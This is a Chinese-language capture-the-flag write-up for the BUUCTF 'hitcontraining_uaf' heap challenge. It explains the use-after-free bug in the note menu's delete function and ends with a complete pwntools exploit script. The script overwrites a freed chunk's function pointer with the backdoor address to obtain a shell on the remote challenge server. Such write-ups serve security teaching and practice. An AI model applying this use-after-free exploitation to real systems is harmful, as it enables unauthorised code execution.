[BUUCTF]——hitcontraining_uaf
步骤:
例行检查,32位,开启了nx保护
试运行一下程序,非常常见的创建堆块的菜单
32位ida载入分析,shift+f12查看程序里的字符串,发现了/bin/sh,ctrl+x,跟进找到了后面函数,shell_addr=0x8048945
堆的main函数很简单,逻辑很简单,也没什么好说的,直接看菜单的各个选项
add,可以发现创建了两个chunk,第一个chunk是默认的,存放puts函数,我们可以控制第二个chunk
add(16,'aaa')
gdb.attach(r)
执行一次add,跟我们ida分析的一样,创建了两个堆块,而且我们修改的是第二个堆块的内容
delete,它只释放掉了堆块里的内容,但是没有将指针置0,存在uaf漏洞
printf
用printf打印一个堆块看一下内容,可以看到打印出了add创建的第二个chunk里的值
利用过程
add(48,'aaaa')
add(48,'bbbb')
gdb.attach(r)
堆的调试注意一下bk链接的地址
我们首先来调用两次add来创建堆,(实际上创建了4个堆),看一下add的两块堆的情况
释放掉两个来看一下
delete(0)
delete(1)
我们再申请一个8字节的chunk,写入shell_addr,看一下堆块的情况
add(8,p32(shell_addr))
可以看到我们新建的chunk由0x8516048和0x8516010构成,我们现在进行printf的话就会跳转到后门函数,就获取了shell
EXP
from pwn import*
r=remote('node3.buuoj.cn',28237)
#r=process('./hacknote')
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)
def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
shell_addr=0x8048945
add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(shell_addr))
printf(0)
r.interactive()